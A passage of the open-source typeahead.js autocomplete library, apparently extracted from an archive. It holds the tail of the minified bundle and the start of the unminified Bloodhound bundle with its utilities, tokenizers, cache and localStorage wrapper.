d,e,f;return(d=h.exec(b.data))&&(f=a.createElement(c.tagName),c.className&&(f.className=c.className),e=b.splitText(d.index),e.splitText(d[0].length),f.appendChild(e.cloneNode(!0)),b.parentNode.replaceChild(f,e)),!!d}function g(a,b){for(var c,d=3,e=0;e<a.childNodes.length;e++)c=a.childNodes[e],c.nodeType===d?e+=b(c)?1:0:g(c,b)}var h;c=b.mixin({},e,c),c.node&&c.pattern&&(c.pattern=b.isArray(c.pattern)?c.pattern:[c.pattern],h=d(c.pattern,c.caseSensitive,c.wordsOnly,c.diacriticInsensitive),g(c.node,f))}}(window.document),g=function(){"use strict";function c(c,e){c=c||{},c.input||a.error("input is missing"),e.mixin(this),this.$hint=a(c.hint),this.$input=a(c.input),this.$input.attr({"aria-activedescendant":"","aria-owns":this.$input.attr("id")+"_listbox",role:"combobox","aria-readonly":"true","aria-autocomplete":"list"}),a(e.menu).attr("id",this.$input.attr("id")+"_listbox"),this.query=this.$input.val(),this.queryWhenFocused=this.hasFocus()?this.query:null,this.$overflowHelper=d(this.$input),this._checkLanguageDirection(),0===this.$hint.length&&(this.setHint=this.getHint=this.clearHint=this.clearHintIfInvalid=b.noop),this.onSync("cursorchange",this._updateDescendent)}function d(b){return a('<pre aria-hidden="true"></pre>').css({position:"absolute",visibility:"hidden",whiteSpace:"pre",fontFamily:b.css("font-family"),fontSize:b.css("font-size"),fontStyle:b.css("font-style"),fontVariant:b.css("font-variant"),fontWeight:b.css("font-weight"),wordSpacing:b.css("word-spacing"),letterSpacing:b.css("letter-spacing"),textIndent:b.css("text-indent"),textRendering:b.css("text-rendering"),textTransform:b.css("text-transform")}).insertAfter(b)}function f(a,b){return c.normalizeQuery(a)===c.normalizeQuery(b)}function g(a){return a.altKey||a.ctrlKey||a.metaKey||a.shiftKey}var h;return h={9:"tab",27:"esc",37:"left",39:"right",13:"enter",38:"up",40:"down"},c.normalizeQuery=function(a){return b.toStr(a).replace(/^\s*/g,"").replace(/\s{2,}/g," ")},b.mixin(c.prototype,e,{_onBlur:function(){this.resetInputValue(),this.trigger("blurred")},_onFocus:function(){this.queryWhenFocused=this.query,this.trigger("focused")},_onKeydown:function(a){var b=h[a.which||a.keyCode];this._managePreventDefault(b,a),b&&this._shouldTrigger(b,a)&&this.trigger(b+"Keyed",a)},_onInput:function(){this._setQuery(this.getInputValue()),this.clearHintIfInvalid(),this._checkLanguageDirection()},_managePreventDefault:function(a,b){var c;switch(a){case"up":case"down":c=!g(b);break;default:c=!1}c&&b.preventDefault()},_shouldTrigger:function(a,b){var c;switch(a){case"tab":c=!g(b);break;default:c=!0}return c},_checkLanguageDirection:function(){var a=(this.$input.css("direction")||"ltr").toLowerCase();this.dir!==a&&(this.dir=a,this.$hint.attr("dir",a),this.trigger("langDirChanged",a))},_setQuery:function(a,b){var c,d;c=f(a,this.query),d=!!c&&this.query.length!==a.length,this.query=a,b||c?!b&&d&&this.trigger("whitespaceChanged",this.query):this.trigger("queryChanged",this.query)},_updateDescendent:function(a,b){this.$input.attr("aria-activedescendant",b)},bind:function(){var a,c,d,e,f=this;return a=b.bind(this._onBlur,this),c=b.bind(this._onFocus,this),d=b.bind(this._onKeydown,this),e=b.bind(this._onInput,this),this.$input.on("blur.tt",a).on("focus.tt",c).on("keydown.tt",d),!b.isMsie()||b.isMsie()>9?this.$input.on("input.tt",e):this.$input.on("keydown.tt keypress.tt cut.tt paste.tt",function(a){h[a.which||a.keyCode]||b.defer(b.bind(f._onInput,f,a))}),this},focus:function(){this.$input.focus()},blur:function(){this.$input.blur()},getLangDir:function(){return this.dir},getQuery:function(){return this.query||""},setQuery:function(a,b){this.setInputValue(a),this._setQuery(a,b)},hasQueryChangedSinceLastFocus:function(){return this.query!==this.queryWhenFocused},getInputValue:function(){return this.$input.val()},setInputValue:function(a){this.$input.val(a),this.clearHintIfInvalid(),this._checkLanguageDirection()},resetInputValue:function(){this.setInputValue(this.query)},getHint:function(){return this.$hint.val()},setHint:function(a){this.$hint.val(a)},clearHint:function(){this.setHint("")},clearHintIfInvalid:function(){var a,b,c,d;a=this.getInputValue(),b=this.getHint(),c=a!==b&&0===b.indexOf(a),d=""!==a&&c&&!this.hasOverflow(),!d&&this.clearHint()},hasFocus:function(){return this.$input.is(":focus")},hasOverflow:function(){var a=this.$input.width()-2;return this.$overflowHelper.text(this.getInputValue()),this.$overflowHelper.width()>=a},isCursorAtEnd:function(){var a,c,d;return a=this.$input.val().length,c=this.$input[0].selectionStart,b.isNumber(c)?c===a:!document.selection||(d=document.selection.createRange(),d.moveStart("character",-a),a===d.text.length)},destroy:function(){this.$hint.off(".tt"),this.$input.off(".tt"),this.$overflowHelper.remove(),this.$hint=this.$input=this.$overflowHelper=a("<div>")}}),c}(),h=function(){"use strict";function c(c,e){c=c||{},c.templates=c.templates||{},c.templates.notFound=c.templates.notFound||c.templates.empty,c.source||a.error("missing source"),c.node||a.error("missing node"),c.name&&!h(c.name)&&a.error("invalid dataset name: "+c.name),e.mixin(this),this.highlight=!!c.highlight,this.name=b.toStr(c.name||j()),this.limit=c.limit||5,this.displayFn=d(c.display||c.displayKey),this.templates=g(c.templates,this.displayFn),this.source=c.source.__ttAdapter?c.source.__ttAdapter():c.source,this.async=b.isUndefined(c.async)?this.source.length>2:!!c.async,this._resetLastSuggestion(),this.$el=a(c.node).attr("role","presentation").addClass(this.classes.dataset).addClass(this.classes.dataset+"-"+this.name)}function d(a){function c(b){return b[a]}return a=a||b.stringify,b.isFunction(a)?a:c}function g(c,d){function e(c){return a('<div role="option">').attr("id",b.guid()).text(d(c))}return{notFound:c.notFound&&b.templatify(c.notFound),pending:c.pending&&b.templatify(c.pending),header:c.header&&b.templatify(c.header),footer:c.footer&&b.templatify(c.footer),suggestion:c.suggestion||e}}function h(a){return/^[_a-zA-Z0-9-]+$/.test(a)}var i,j;return i={dataset:"tt-selectable-dataset",val:"tt-selectable-display",obj:"tt-selectable-object"},j=b.getIdGenerator(),c.extractData=function(b){var c=a(b);return c.data(i.obj)?{dataset:c.data(i.dataset)||"",val:c.data(i.val)||"",obj:c.data(i.obj)||null}:null},b.mixin(c.prototype,e,{_overwrite:function(a,b){b=b||[],b.length?this._renderSuggestions(a,b):this.async&&this.templates.pending?this._renderPending(a):!this.async&&this.templates.notFound?this._renderNotFound(a):this._empty(),this.trigger("rendered",b,!1,this.name)},_append:function(a,b){b=b||[],b.length&&this.$lastSuggestion.length?this._appendSuggestions(a,b):b.length?this._renderSuggestions(a,b):!this.$lastSuggestion.length&&this.templates.notFound&&this._renderNotFound(a),this.trigger("rendered",b,!0,this.name)},_renderSuggestions:function(a,b){var c;c=this._getSuggestionsFragment(a,b),this.$lastSuggestion=c.children().last(),this.$el.html(c).prepend(this._getHeader(a,b)).append(this._getFooter(a,b))},_appendSuggestions:function(a,b){var c,d;c=this._getSuggestionsFragment(a,b),d=c.children().last(),this.$lastSuggestion.after(c),this.$lastSuggestion=d},_renderPending:function(a){var b=this.templates.pending;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_renderNotFound:function(a){var b=this.templates.notFound;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_empty:function(){this.$el.empty(),this._resetLastSuggestion()},_getSuggestionsFragment:function(c,d){var e,g=this;return e=document.createDocumentFragment(),b.each(d,function(b){var d,f;f=g._injectQuery(c,b),d=a(g.templates.suggestion(f)).data(i.dataset,g.name).data(i.obj,b).data(i.val,g.displayFn(b)).addClass(g.classes.suggestion+" "+g.classes.selectable),e.appendChild(d[0])}),this.highlight&&f({className:this.classes.highlight,node:e,pattern:c}),a(e)},_getFooter:function(a,b){return this.templates.footer?this.templates.footer({query:a,suggestions:b,dataset:this.name}):null},_getHeader:function(a,b){return this.templates.header?this.templates.header({query:a,suggestions:b,dataset:this.name}):null},_resetLastSuggestion:function(){this.$lastSuggestion=a()},_injectQuery:function(a,c){return b.isObject(c)?b.mixin({_query:a},c):c},update:function(b){function c(a){g||(g=!0,a=(a||[]).slice(0,e.limit),h=a.length,e._overwrite(b,a),h<e.limit&&e.async&&e.trigger("asyncRequested",b,e.name))}function d(c){if(c=c||[],!f&&h<e.limit){e.cancel=a.noop;var d=Math.abs(h-e.limit);h+=d,e._append(b,c.slice(0,d)),e.async&&e.trigger("asyncReceived",b,e.name)}}var e=this,f=!1,g=!1,h=0;this.cancel(),this.cancel=function(){f=!0,e.cancel=a.noop,e.async&&e.trigger("asyncCanceled",b,e.name)},this.source(b,c,d),!g&&c([])},cancel:a.noop,clear:function(){this._empty(),this.cancel(),this.trigger("cleared")},isEmpty:function(){return this.$el.is(":empty")},destroy:function(){this.$el=a("<div>")}}),c}(),i=function(){"use strict";function c(c,d){function e(b){var c=f.$node.find(b.node).first();return b.node=c.length?c:a("<div>").appendTo(f.$node),new h(b,d)}var f=this;c=c||{},c.node||a.error("node is required"),d.mixin(this),this.$node=a(c.node),this.query=null,this.datasets=b.map(c.datasets,e)}return b.mixin(c.prototype,e,{_onSelectableClick:function(b){this.trigger("selectableClicked",a(b.currentTarget))},_onRendered:function(a,b,c,d){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetRendered",b,c,d)},_onCleared:function(){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetCleared")},_propagate:function(){this.trigger.apply(this,arguments)},_allDatasetsEmpty:function(){return b.every(this.datasets,b.bind(function(a){var b=a.isEmpty();return this.$node.attr("aria-expanded",!b),b},this))},_getSelectables:function(){return this.$node.find(this.selectors.selectable)},_removeCursor:function(){var a=this.getActiveSelectable();a&&a.removeClass(this.classes.cursor)},_ensureVisible:function(a){var b,c,d,e;b=a.position().top,c=b+a.outerHeight(!0),d=this.$node.scrollTop(),e=this.$node.height()+parseInt(this.$node.css("paddingTop"),10)+parseInt(this.$node.css("paddingBottom"),10),b<0?this.$node.scrollTop(d+b):e<c&&this.$node.scrollTop(d+(c-e))},bind:function(){var c,d=this;return c=b.bind(this._onSelectableClick,this),this.$node.on("click.tt",this.selectors.selectable,c),this.$node.on("mouseover",this.selectors.selectable,function(){d.setCursor(a(this))}),this.$node.on("mouseleave",function(){d._removeCursor()}),b.each(this.datasets,function(a){a.onSync("asyncRequested",d._propagate,d).onSync("asyncCanceled",d._propagate,d).onSync("asyncReceived",d._propagate,d).onSync("rendered",d._onRendered,d).onSync("cleared",d._onCleared,d)}),this},isOpen:function(){return this.$node.hasClass(this.classes.open)},open:function(){this.$node.scrollTop(0),this.$node.addClass(this.classes.open)},close:function(){this.$node.attr("aria-expanded",!1),this.$node.removeClass(this.classes.open),this._removeCursor()},setLanguageDirection:function(a){this.$node.attr("dir",a)},selectableRelativeToCursor:function(a){var b,c,d,e;return c=this.getActiveSelectable(),b=this._getSelectables(),d=c?b.index(c):-1,e=d+a,e=(e+1)%(b.length+1)-1,e=e<-1?b.length-1:e,e===-1?null:b.eq(e)},setCursor:function(a){this._removeCursor(),(a=a&&a.first())&&(a.addClass(this.classes.cursor),this._ensureVisible(a))},getSelectableData:function(a){return a&&a.length?h.extractData(a):null},getActiveSelectable:function(){var a=this._getSelectables().filter(this.selectors.cursor).first();return a.length?a:null},getTopSelectable:function(){var a=this._getSelectables().first();return a.length?a:null},update:function(a){function c(b){b.update(a)}var d=a!==this.query;return d&&(this.query=a,b.each(this.datasets,c)),d},empty:function(){function a(a){a.clear()}b.each(this.datasets,a),this.query=null,this.$node.addClass(this.classes.empty)},destroy:function(){function c(a){a.destroy()}this.$node.off(".tt"),this.$node=a("<div>"),b.each(this.datasets,c)}}),c}(),j=function(){
"use strict";function c(c){this.$el=a("<span></span>",{role:"status","aria-live":"polite"}).css({position:"absolute",padding:"0",border:"0",height:"1px",width:"1px","margin-bottom":"-1px","margin-right":"-1px",overflow:"hidden",clip:"rect(0 0 0 0)","white-space":"nowrap"}),c.$input.after(this.$el),b.each(c.menu.datasets,b.bind(function(a){a.onSync&&(a.onSync("rendered",b.bind(this.update,this)),a.onSync("cleared",b.bind(this.cleared,this)))},this))}return b.mixin(c.prototype,{update:function(a,b){var c,d=b.length;c=1===d?{result:"result",is:"is"}:{result:"results",is:"are"},this.$el.text(d+" "+c.result+" "+c.is+" available, use up and down arrow keys to navigate.")},cleared:function(){this.$el.text("")}}),c}(),k=function(){"use strict";function a(){i.apply(this,[].slice.call(arguments,0))}var c=i.prototype;return b.mixin(a.prototype,i.prototype,{open:function(){return!this._allDatasetsEmpty()&&this._show(),c.open.apply(this,[].slice.call(arguments,0))},close:function(){return this._hide(),c.close.apply(this,[].slice.call(arguments,0))},_onRendered:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onRendered.apply(this,[].slice.call(arguments,0))},_onCleared:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onCleared.apply(this,[].slice.call(arguments,0))},setLanguageDirection:function(a){return this.$node.css("ltr"===a?this.css.ltr:this.css.rtl),c.setLanguageDirection.apply(this,[].slice.call(arguments,0))},_hide:function(){this.$node.hide()},_show:function(){this.$node.css("display","block")}}),a}(),l=function(){"use strict";function c(c,e){var f,g,h,i,j,k,l,m,n,o,p;c=c||{},c.input||a.error("missing input"),c.menu||a.error("missing menu"),c.eventBus||a.error("missing event bus"),e.mixin(this),this.eventBus=c.eventBus,this.minLength=b.isNumber(c.minLength)?c.minLength:1,this.input=c.input,this.menu=c.menu,this.enabled=!0,this.active=!1,this.input.hasFocus()&&this.activate(),this.dir=this.input.getLangDir(),this._hacks(),this.menu.bind().onSync("selectableClicked",this._onSelectableClicked,this).onSync("asyncRequested",this._onAsyncRequested,this).onSync("asyncCanceled",this._onAsyncCanceled,this).onSync("asyncReceived",this._onAsyncReceived,this).onSync("datasetRendered",this._onDatasetRendered,this).onSync("datasetCleared",this._onDatasetCleared,this),f=d(this,"activate","open","_onFocused"),g=d(this,"deactivate","_onBlurred"),h=d(this,"isActive","isOpen","_onEnterKeyed"),i=d(this,"isActive","isOpen","_onTabKeyed"),j=d(this,"isActive","_onEscKeyed"),k=d(this,"isActive","open","_onUpKeyed"),l=d(this,"isActive","open","_onDownKeyed"),m=d(this,"isActive","isOpen","_onLeftKeyed"),n=d(this,"isActive","isOpen","_onRightKeyed"),o=d(this,"_openIfActive","_onQueryChanged"),p=d(this,"_openIfActive","_onWhitespaceChanged"),this.input.bind().onSync("focused",f,this).onSync("blurred",g,this).onSync("enterKeyed",h,this).onSync("tabKeyed",i,this).onSync("escKeyed",j,this).onSync("upKeyed",k,this).onSync("downKeyed",l,this).onSync("leftKeyed",m,this).onSync("rightKeyed",n,this).onSync("queryChanged",o,this).onSync("whitespaceChanged",p,this).onSync("langDirChanged",this._onLangDirChanged,this)}function d(a){var c=[].slice.call(arguments,1);return function(){var d=[].slice.call(arguments);b.each(c,function(b){return a[b].apply(a,d)})}}return b.mixin(c.prototype,{_hacks:function(){var c,d;c=this.input.$input||a("<div>"),d=this.menu.$node||a("<div>"),c.on("blur.tt",function(a){var e,f,g;e=document.activeElement,f=d.is(e),g=d.has(e).length>0,b.isMsie()&&(f||g)&&(a.preventDefault(),a.stopImmediatePropagation(),b.defer(function(){c.focus()}))}),d.on("mousedown.tt",function(a){a.preventDefault()})},_onSelectableClicked:function(a,b){this.select(b)},_onDatasetCleared:function(){this._updateHint()},_onDatasetRendered:function(a,b,c,d){this._updateHint(),this.eventBus.trigger("render",b,c,d)},_onAsyncRequested:function(a,b,c){this.eventBus.trigger("asyncrequest",c,b)},_onAsyncCanceled:function(a,b,c){this.eventBus.trigger("asynccancel",c,b)},_onAsyncReceived:function(a,b,c){this.eventBus.trigger("asyncreceive",c,b)},_onFocused:function(){this._minLengthMet()&&this.menu.update(this.input.getQuery())},_onBlurred:function(){this.input.hasQueryChangedSinceLastFocus()&&this.eventBus.trigger("change",this.input.getQuery())},_onEnterKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())&&this.select(c)&&(b.preventDefault(),b.stopPropagation())},_onTabKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())?this.select(c)&&b.preventDefault():(c=this.menu.getTopSelectable())&&this.autocomplete(c)&&b.preventDefault()},_onEscKeyed:function(){this.close()},_onUpKeyed:function(){this.moveCursor(-1)},_onDownKeyed:function(){this.moveCursor(1)},_onLeftKeyed:function(){"rtl"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getActiveSelectable()||this.menu.getTopSelectable())},_onRightKeyed:function(){"ltr"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getActiveSelectable()||this.menu.getTopSelectable())},_onQueryChanged:function(a,b){this._minLengthMet(b)?this.menu.update(b):this.menu.empty()},_onWhitespaceChanged:function(){this._updateHint()},_onLangDirChanged:function(a,b){this.dir!==b&&(this.dir=b,this.menu.setLanguageDirection(b))},_openIfActive:function(){this.isActive()&&this.open()},_minLengthMet:function(a){return a=b.isString(a)?a:this.input.getQuery()||"",a.length>=this.minLength},_updateHint:function(){var a,c,d,e,f,h,i;a=this.menu.getTopSelectable(),c=this.menu.getSelectableData(a),d=this.input.getInputValue(),!c||b.isBlankString(d)||this.input.hasOverflow()?this.input.clearHint():(e=g.normalizeQuery(d),f=b.escapeRegExChars(e),h=new RegExp("^(?:"+f+")(.+$)","i"),i=h.exec(c.val),i&&this.input.setHint(d+i[1]))},isEnabled:function(){return this.enabled},enable:function(){this.enabled=!0},disable:function(){this.enabled=!1},isActive:function(){return this.active},activate:function(){return!!this.isActive()||!(!this.isEnabled()||this.eventBus.before("active"))&&(this.active=!0,this.eventBus.trigger("active"),!0)},deactivate:function(){return!this.isActive()||!this.eventBus.before("idle")&&(this.active=!1,this.close(),this.eventBus.trigger("idle"),!0)},isOpen:function(){return this.menu.isOpen()},open:function(){return this.isOpen()||this.eventBus.before("open")||(this.menu.open(),this._updateHint(),this.eventBus.trigger("open")),this.isOpen()},close:function(){return this.isOpen()&&!this.eventBus.before("close")&&(this.menu.close(),this.input.clearHint(),this.input.resetInputValue(),this.eventBus.trigger("close")),!this.isOpen()},setVal:function(a){this.input.setQuery(b.toStr(a))},getVal:function(){return this.input.getQuery()},select:function(a){var b=this.menu.getSelectableData(a);return!(!b||this.eventBus.before("select",b.obj,b.dataset))&&(this.input.setQuery(b.val,!0),this.eventBus.trigger("select",b.obj,b.dataset),this.close(),!0)},autocomplete:function(a){var b,c,d;return b=this.input.getQuery(),c=this.menu.getSelectableData(a),d=c&&b!==c.val,!(!d||this.eventBus.before("autocomplete",c.obj,c.dataset))&&(this.input.setQuery(c.val),this.eventBus.trigger("autocomplete",c.obj,c.dataset),!0)},moveCursor:function(a){var b,c,d,e,f,g,h;return b=this.input.getQuery(),c=this.menu.selectableRelativeToCursor(a),d=this.menu.getSelectableData(c),e=d?d.obj:null,f=d?d.dataset:null,h=c?c.attr("id"):null,this.input.trigger("cursorchange",h),g=this._minLengthMet()&&this.menu.update(b),!g&&!this.eventBus.before("cursorchange",e,f)&&(this.menu.setCursor(c),d?this.input.setInputValue(d.val):(this.input.resetInputValue(),this._updateHint()),this.eventBus.trigger("cursorchange",e,f),!0)},destroy:function(){this.input.destroy(),this.menu.destroy()}}),c}();!function(){"use strict";function e(b,c){b.each(function(){var b,d=a(this);(b=d.data(q.typeahead))&&c(b,d)})}function f(a,b){return a.clone().addClass(b.classes.hint).removeData().css(b.css.hint).css(m(a)).prop("readonly",!0).removeAttr("id name placeholder required").attr({spellcheck:"false",tabindex:-1})}function h(a,b){a.data(q.attrs,{dir:a.attr("dir"),autocomplete:a.attr("autocomplete"),spellcheck:a.attr("spellcheck"),style:a.attr("style")}),a.addClass(b.classes.input).attr({spellcheck:!1});try{!a.attr("dir")&&a.attr("dir","auto")}catch(a){}return a}function m(a){return{backgroundAttachment:a.css("background-attachment"),backgroundClip:a.css("background-clip"),backgroundColor:a.css("background-color"),backgroundImage:a.css("background-image"),backgroundOrigin:a.css("background-origin"),backgroundPosition:a.css("background-position"),backgroundRepeat:a.css("background-repeat"),backgroundSize:a.css("background-size")}}function n(a){var c,d;c=a.data(q.www),d=a.parent().filter(c.selectors.wrapper),b.each(a.data(q.attrs),function(c,d){b.isUndefined(c)?a.removeAttr(d):a.attr(d,c)}),a.removeData(q.typeahead).removeData(q.www).removeData(q.attr).removeClass(c.classes.input),d.length&&(a.detach().insertAfter(d),d.remove())}function o(c){var d,e;return d=b.isJQuery(c)||b.isElement(c),e=d?a(c).first():[],e.length?e:null}var p,q,r;p=a.fn.typeahead,q={www:"tt-www",attrs:"tt-attrs",typeahead:"tt-typeahead"},r={initialize:function(e,m){function n(){var c,n,r,s,t,u,v,w,x,y,z,A;b.each(m,function(a){a.highlight=!!e.highlight}),c=a(this),n=a(p.html.wrapper),r=o(e.hint),s=o(e.menu),t=e.hint!==!1&&!r,u=e.menu!==!1&&!s,t&&(r=f(c,p)),u&&(s=a(p.html.menu).css(p.css.menu)),r&&r.val(""),c=h(c,p),(t||u)&&(n.css(p.css.wrapper),c.css(t?p.css.input:p.css.inputWithNoHint),c.wrap(n).parent().prepend(t?r:null).append(u?s:null)),A=u?k:i,v=new d({el:c}),w=new g({hint:r,input:c},p),x=new A({node:s,datasets:m},p),y=new j({$input:c,menu:x}),z=new l({input:w,menu:x,eventBus:v,minLength:e.minLength},p),c.data(q.www,p),c.data(q.typeahead,z)}var p;return m=b.isArray(m)?m:[].slice.call(arguments,1),e=e||{},p=c(e.classNames),this.each(n)},isEnabled:function(){var a;return e(this.first(),function(b){a=b.isEnabled()}),a},enable:function(){return e(this,function(a){a.enable()}),this},disable:function(){return e(this,function(a){a.disable()}),this},isActive:function(){var a;return e(this.first(),function(b){a=b.isActive()}),a},activate:function(){return e(this,function(a){a.activate()}),this},deactivate:function(){return e(this,function(a){a.deactivate()}),this},isOpen:function(){var a;return e(this.first(),function(b){a=b.isOpen()}),a},open:function(){return e(this,function(a){a.open()}),this},close:function(){return e(this,function(a){a.close()}),this},select:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.select(d)}),c},autocomplete:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.autocomplete(d)}),c},moveCursor:function(a){var b=!1;return e(this.first(),function(c){b=c.moveCursor(a)}),b},val:function(a){var c;return arguments.length?(e(this,function(c){c.setVal(b.toStr(a))}),this):(e(this.first(),function(a){c=a.getVal()}),c)},destroy:function(){return e(this,function(a,b){n(b),a.destroy()}),this}},a.fn.typeahead=function(a){return r[a]?r[a].apply(this,[].slice.call(arguments,1)):r.initialize.apply(this,arguments)},a.fn.typeahead.noConflict=function(){return a.fn.typeahead=p,this}}()});PK!`��n�n�'plugin/typeahead.js/typeahead.bundle.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

(function(root, factory) {
    if (typeof define === "function" && define.amd) {
        define([ "jquery" ], function(a0) {
            return root["Bloodhound"] = factory(a0);
        });
    } else if (typeof exports === "object") {
        module.exports = factory(require("jquery"));
    } else {
        root["Bloodhound"] = factory(root["jQuery"]);
    }
})(this, function($) {
    var _ = function() {
        "use strict";
        return {
            isMsie: function() {
                return /(msie|trident)/i.test(navigator.userAgent) ? navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2] : false;
            },
            isBlankString: function(str) {
                return !str || /^\s*$/.test(str);
            },
            escapeRegExChars: function(str) {
                return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
            },
            isString: function(obj) {
                return typeof obj === "string";
            },
            isNumber: function(obj) {
                return typeof obj === "number";
            },
            isArray: $.isArray,
            isFunction: $.isFunction,
            isObject: $.isPlainObject,
            isUndefined: function(obj) {
                return typeof obj === "undefined";
            },
            isElement: function(obj) {
                return !!(obj && obj.nodeType === 1);
            },
            isJQuery: function(obj) {
                return obj instanceof $;
            },
            toStr: function toStr(s) {
                return _.isUndefined(s) || s === null ? "" : s + "";
            },
            bind: $.proxy,
            each: function(collection, cb) {
                $.each(collection, reverseArgs);
                function reverseArgs(index, value) {
                    return cb(value, index);
                }
            },
            map: $.map,
            filter: $.grep,
            every: function(obj, test) {
                var result = true;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (!(result = test.call(null, val, key, obj))) {
                        return false;
                    }
                });
                return !!result;
            },
            some: function(obj, test) {
                var result = false;
                if (!obj) {
                    return result;
                }
                $.each(obj, function(key, val) {
                    if (result = test.call(null, val, key, obj)) {
                        return false;
                    }
                });
                return !!result;
            },
            mixin: $.extend,
            identity: function(x) {
                return x;
            },
            clone: function(obj) {
                return $.extend(true, {}, obj);
            },
            getIdGenerator: function() {
                var counter = 0;
                return function() {
                    return counter++;
                };
            },
            templatify: function templatify(obj) {
                return $.isFunction(obj) ? obj : template;
                function template() {
                    return String(obj);
                }
            },
            defer: function(fn) {
                setTimeout(fn, 0);
            },
            debounce: function(func, wait, immediate) {
                var timeout, result;
                return function() {
                    var context = this, args = arguments, later, callNow;
                    later = function() {
                        timeout = null;
                        if (!immediate) {
                            result = func.apply(context, args);
                        }
                    };
                    callNow = immediate && !timeout;
                    clearTimeout(timeout);
                    timeout = setTimeout(later, wait);
                    if (callNow) {
                        result = func.apply(context, args);
                    }
                    return result;
                };
            },
            throttle: function(func, wait) {
                var context, args, timeout, result, previous, later;
                previous = 0;
                later = function() {
                    previous = new Date();
                    timeout = null;
                    result = func.apply(context, args);
                };
                return function() {
                    var now = new Date(), remaining = wait - (now - previous);
                    context = this;
                    args = arguments;
                    if (remaining <= 0) {
                        clearTimeout(timeout);
                        timeout = null;
                        previous = now;
                        result = func.apply(context, args);
                    } else if (!timeout) {
                        timeout = setTimeout(later, remaining);
                    }
                    return result;
                };
            },
            stringify: function(val) {
                return _.isString(val) ? val : JSON.stringify(val);
            },
            guid: function() {
                function _p8(s) {
                    var p = (Math.random().toString(16) + "000000000").substr(2, 8);
                    return s ? "-" + p.substr(0, 4) + "-" + p.substr(4, 4) : p;
                }
                return "tt-" + _p8() + _p8(true) + _p8(true) + _p8();
            },
            noop: function() {}
        };
    }();
    var VERSION = "1.1.1";
    var tokenizers = function() {
        "use strict";
        return {
            nonword: nonword,
            whitespace: whitespace,
            ngram: ngram,
            obj: {
                nonword: getObjTokenizer(nonword),
                whitespace: getObjTokenizer(whitespace),
                ngram: getObjTokenizer(ngram)
            }
        };
        function whitespace(str) {
            str = _.toStr(str);
            return str ? str.split(/\s+/) : [];
        }
        function nonword(str) {
            str = _.toStr(str);
            return str ? str.split(/\W+/) : [];
        }
        function ngram(str) {
            str = _.toStr(str);
            var tokens = [], word = "";
            _.each(str.split(""), function(char) {
                if (char.match(/\s+/)) {
                    word = "";
                } else {
                    tokens.push(word + char);
                    word += char;
                }
            });
            return tokens;
        }
        function getObjTokenizer(tokenizer) {
            return function setKey(keys) {
                keys = _.isArray(keys) ? keys : [].slice.call(arguments, 0);
                return function tokenize(o) {
                    var tokens = [];
                    _.each(keys, function(k) {
                        tokens = tokens.concat(tokenizer(_.toStr(o[k])));
                    });
                    return tokens;
                };
            };
        }
    }();
    var LruCache = function() {
        "use strict";
        function LruCache(maxSize) {
            this.maxSize = _.isNumber(maxSize) ? maxSize : 100;
            this.reset();
            if (this.maxSize <= 0) {
                this.set = this.get = $.noop;
            }
        }
        _.mixin(LruCache.prototype, {
            set: function set(key, val) {
                var tailItem = this.list.tail, node;
                if (this.size >= this.maxSize) {
                    this.list.remove(tailItem);
                    delete this.hash[tailItem.key];
                    this.size--;
                }
                if (node = this.hash[key]) {
                    node.val = val;
                    this.list.moveToFront(node);
                } else {
                    node = new Node(key, val);
                    this.list.add(node);
                    this.hash[key] = node;
                    this.size++;
                }
            },
            get: function get(key) {
                var node = this.hash[key];
                if (node) {
                    this.list.moveToFront(node);
                    return node.val;
                }
            },
            reset: function reset() {
                this.size = 0;
                this.hash = {};
                this.list = new List();
            }
        });
        function List() {
            this.head = this.tail = null;
        }
        _.mixin(List.prototype, {
            add: function add(node) {
                if (this.head) {
                    node.next = this.head;
                    this.head.prev = node;
                }
                this.head = node;
                this.tail = this.tail || node;
            },
            remove: function remove(node) {
                node.prev ? node.prev.next = node.next : this.head = node.next;
                node.next ? node.next.prev = node.prev : this.tail = node.prev;
            },
            moveToFront: function(node) {
                this.remove(node);
                this.add(node);
            }
        });
        function Node(key, val) {
            this.key = key;
            this.val = val;
            this.prev = this.next = null;
        }
        return LruCache;
    }();
    var PersistentStorage = function() {
        "use strict";
        var LOCAL_STORAGE;
        try {
            LOCAL_STORAGE = window.localStorage;
            LOCAL_STORAGE.setItem("~~~", "!");
            LOCAL_STORAGE.removeItem("~~~");
        } catch (err) {
            LOCAL_STORAGE = null;
        }
        function PersistentStorage(namespace, override) {
            this.prefix = [ "__", namespace, "__" ].join("");
            this.ttlKey = "__ttl__";
            this.keyMatcher = new RegExp("^" + _.escapeRegExChars(this.prefix));
            this.ls = override || LOCAL_STORAGE;
            !this.ls && this._noop();
        }
        _.mixin(PersistentStorage.prototype, {
            _prefix: function(key) {
                return this.prefix + key;
            },
            _ttlKey: function(key) {
                return this._prefix(key) + this.ttlKey;
            },
            _noop: function() {
                this.get = this.set = this.remove = this.clear = this.isExpired = _.noop;
            },
            _safeSet: function(key, val) {
                try {
                    this.ls.setItem(key, val);
                } catch (err) {
                    if (err.name === "QuotaExceededError") {
                        this.clear();
                        this._noop();
                    }
                }
            },
            get: function(key) {
                if (this.isExpired(key)) {
                    this.remove(key);
                }
                return decode(this.ls.getItem(this._prefix(key)));
            },
            set: function(key, val, ttl) {
                if (_.isNumber(ttl)) {
                    this._safeSet(this._ttlKey(key), encode(now() + ttl));
                } else {
                    this.ls.removeItem(this._ttlKey(key));
                }
